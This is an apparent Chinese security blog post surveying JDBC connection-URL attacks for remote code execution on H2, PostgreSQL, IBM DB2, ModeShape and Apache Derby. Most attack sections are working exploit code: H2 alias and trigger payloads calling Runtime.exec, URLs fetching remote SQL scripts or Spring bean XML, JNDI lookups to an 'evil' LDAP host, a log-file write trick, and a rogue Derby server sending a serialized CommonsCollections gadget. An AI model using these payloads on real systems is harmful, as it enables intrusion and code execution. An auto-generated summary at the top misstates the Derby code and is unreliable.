JDBC数据库汇总Attack研究

jdbc,数据库,汇总,attack,研究 · 浏览次数 : 31

小编点评

**流程分析:** 1. 启动数据库连接。 2. 加载 Derby 驱动器。 3. 建立连接。 4. 执行 `readMessage` 方法,接收来自客户端的数据。 5. 关闭连接。 **代码示例:** ```java Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); DriverManager.getConnection("jdbc:derby:dbname;create=true"); // ... 连接操作 ... DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1"); // ... 执行 readMessage 方法 ... socket.close(); server.close(); ``` **代码说明:** * `Class.forName` 加载 Derby 驱动器。 * `DriverManager.getConnection` 建立连接。 * `readMessage` 方法接收来自客户端的数据并反序列化。 * `socket.close()` 和 `server.close()` 关闭连接。 **注意:** * `dbname` 是数据库名称。 * `readMessage` 方法的具体操作取决于您的代码逻辑。 * 代码中的 `Thread.sleep(5)` 是用于延迟 5 秒的等待操作。您可以根据需要调整该值。

正文

前言

针对除Mysql的其它数据库的jdbc attack分析

H2 RCE

介绍

H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:

  1. 第一个用途,也是最常使用的用途就在于可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。
  2. 第二个用途是用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
  3. 第三个用途是作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。

搭建

下载:http://www.h2database.com/html/download.html
看说明书搭建就行

INIT RunScript RCE

在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE,并且有很多利用,首先就是INIT,进行H2连接的时候可以执行一段SQL脚本,我们可以构造恶意的脚本去RCE

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return "hacker";}';CALL EXEC('calc')

控制JDBC URLjdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql',点击连接,即可弹出计算器,这种方法得需要账号密码正确

Alias Script RCE

假如可以执行任意H2 SQL的语句,那么也可以完成RCE,其实上述的INIT实质上也就是执行任意H2的sql语句。而执行语句也有很多讲究。对于上述的INIT需要出网,而我们可以利用加载字节码达到不出网RCE的效果,类似于SPEL以及OGNL注入内存马。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('whoami');

TRIGGER Script RCE

除了Alias别名还可以用TRIGGER去手搓groovy或者js代码去rce,但是groovy依赖一般都是不会有的,所以js是更加通用的选择

// groovy
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

// js
CREATE TRIGGER poc2 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc") $$;

TRIGGER没法在INIT处使用

PostgreSQL JDBC RCE

socketFactory/socketFactoryArg RCE

环境搭建

<dependency>
  <groupId>org.postgresql</groupId>
  <artifactId>postgresql</artifactId>
  <version>42.3.1</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-context-support</artifactId>
  <version>5.3.23</version>
</dependency>
package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
        connection.close();
    }
}
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:p="http://www.springframework.org/schema/p"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder">
    <constructor-arg value="calc.exe" />
    <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

postgresql数据库自己搭建,运行代码即可弹出计算器

调用流程

一张图概括postgres jdbc攻击流程(先知社区的引用一下,如有侵权联系博主删除

在psql的jdbc初始化的时候会读取jdbc链接里的某些参数,并且进行一些操作,断点调试,跟着图中流程走


进入makeConnection,过,到这

进入openConnection

进入openConnectionImpl

进入getSocketFactory,注意这个传入的info就是上面的props

这里开始从info中获取信息,先获取的socketFactoryClassName然后进入instantiate

实例化org.springframework.context.support.ClassPathXmlApplicationContext,传入的args是http://127.0.0.1:8888/bean.xml,实例化我们自定义的bean,造成了rce

sslfactory/sslfactoryarg RCE

跟上面流程差不多,不过这里得注意postgresql数据库得开启ssl,配置文件里设置ssl=on

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
//        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
        connection.close();
    }
}

loggerLevel/loggerFile 任意文件写入

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
//        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
//        String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
////        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
//        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
//        Connection connection = DriverManager.getConnection(jdbcUrl);
//        connection.close();
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

可以实现跨目录写文件

IBM DB2 JDBC JNDI RCE

环境搭建

<dependency>
  <groupId>com.ibm.db2</groupId>
  <artifactId>jcc</artifactId>
  <version>11.5.0.0</version>
</dependency>

docker拉个DB2数据库
docker pull ibmoms/db2express-c
docker run -itd --name db2 --privileged=true -p 50000:50000 -e DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmoms/db2express-c db2start

package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class DB2JDBCRCE {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.ibm.db2.jcc.DB2Driver");
        DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1099/evil;");
    }
}

调试流程

经过一系列不知道什么的东西,最终定位到com.ibm.db2.jcc.am

达到jndi的效果

ModeShape JDBC JNDI RCE

介绍

ModeShape是一个分层的、事务性的、一致的数据存储库,支持查询、全文搜索、事件、版本控制、引用和灵活的动态模式。它非常快,高可用性,高度可伸缩,并且是100%开源的,用Java编写的。客户端使用(JSR-283)标准的Java API或者ModeShape的Rest API,可以通过JDBC和SQL查询内容。

环境搭建

<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-jdbc</artifactId>
    <version>5.4.1.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.modeshape/modeshape-common -->
<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-common</artifactId>
    <version>5.4.1.Final</version>
</dependency>
package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class modeshapJNDI {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("org.modeshape.jdbc.LocalJcrDriver");
        DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1099/evil");
    }
}

流程分析


进入createConnection

进入initRepository,触发lookup

Apache Derby

环境搭建

<dependency>
    <groupId>org.apache.derby</groupId>
    <artifactId>derby</artifactId>
    <version>10.10.1.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

攻击流程

准备一个恶意Socket服务端

package com.ctf;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class EvilServer {
    public static void main(String[] args) throws IOException, InterruptedException {
        int port = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();
        // CC6
        String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==";
        byte[] decode = Base64.getDecoder().decode(evil);
        // 直接向 socket 中写入
        socket.getOutputStream().write(decode);
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
}
package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class demo {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
//        DriverManager.getConnection("jdbc:derby:dbname;create=true");
        DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
    }
}

这里先执行create=true,然后在执行下面这句,可以弹计算器
ReplicationMessageTransmit下的readMessage方法会对socket连接拿到的数据直接进行反序列化

与JDBC数据库汇总Attack研究相似的内容:

JDBC数据库汇总Attack研究

前言 针对除Mysql的其它数据库的jdbc attack分析 H2 RCE 介绍 H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途: 第一个用途,也是最常使用的用途就在于可以同应用程序打包在一起发布,这样

[转帖]Jmeter创建数据库(JDBC)测试-4

上一章节讲述如何建立HTTP请求测试,本章节将介绍使用MySQL数据库驱动程序进行JDBC测试。要使用该驱动程序,必须将其包含的.jar文件(例如mysql-connector-java-XXX-bin.jar)复制到JMeter 的lib目录下(也可以直接在测试计划中导入此jar包) 4.1 添加

Web攻防--Java_SQL注入--XXE注入-- SSTI模板注入--SPEL表达式注入

预编译 编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作, 预编译技术会让数据库跳过编译阶段,也就无法就进行词法分析,关键字不会被拆开,注入语句也就不会被识别为SQL的关键字,从而防止恶意注入语句改变原有SQL语句本身逻辑。 Java_JDBC注入 在使用JDBC进行数据库操作

MyBatis源码之前言—JDBC编码存在的问题和Mybatis的介绍

本文是MyBatis源码之前言,主要介绍了JDBC编码存在的问题和介绍了Mybatis的配置、使用。 本文指出了JDBC编码操作数据库的问题,并给出了分析。

[转帖]使用JAYDEBEAPI同时连接两个不同数据库(ORACLE+MYSQL)的问题

jaydebeapi 同时连接两种数据库 在使用jaydebeapi只连接一种数据库时,是没问题的,但是如果需要同时连接两种数据库,比如同时连接oracle和mysql 例如以下测试代码: import jaydebeapi ##使用jdbc驱动连接数据库 import pandas as pd d

[转帖]Jmeter之JDBC Request使用方法(oracle)

https://zhuanlan.zhihu.com/p/121747788 JDBC Request: 这个sampler可以向数据库发送一个jdbc请求(sql语句),它经常需要和JDBC Connection Configuration 配置元件一起配合使用。 目录: 一、准备工作 二、配置J

[转帖]jmeter实现不写代码把测试结果存入execl

这里使用数据库作为中间件来实现不写代码就把测试结果存入execl,下面是步骤 1.新建一个setup线程组用来设置数据库连接信息和新建数据库,如下图所示,我们使用sqlite数据库来存储信息,因为不需要自己再去安装数据库,Database URL填写jdbc:sqlite:mytest.db,这是标

[转帖]Oracle JDBC中的语句缓存

老熊 Oracle性能优化 2013-09-13 在Oracle数据库中,SQL解析有几种: 硬解析,过多的硬解析在系统中产生shared pool latch和library cache liatch争用,消耗过多的shared pool,使得系统不具有可伸缩性。 软解析,过多的软解析仍然可能会导

理论+实战,详解Sharding Sphere-jdbc

摘要:Apache ShardingSphere 是一款分布式的数据库生态系统,它包含两大产品:ShardingSphere-Proxy和ShardingSphere-JDBC。 本文分享自华为云社区《看完这一篇,ShardingSphere-jdbc 实战再也不怕了》,作者:勇哥java实战分享

[转帖]几种数据库 jar 包获取方式

https://my.oschina.net/u/4526289/blog/5610299 摘要:以下提供的都是各个数据库较为官方的 jar 包获取方式。 本文分享自华为云社区《JDBC 连接相关 jar 包获取及上传管理中心白名单处理》,作者:HuaWei XYe。 jar 包获取 以下提供的都是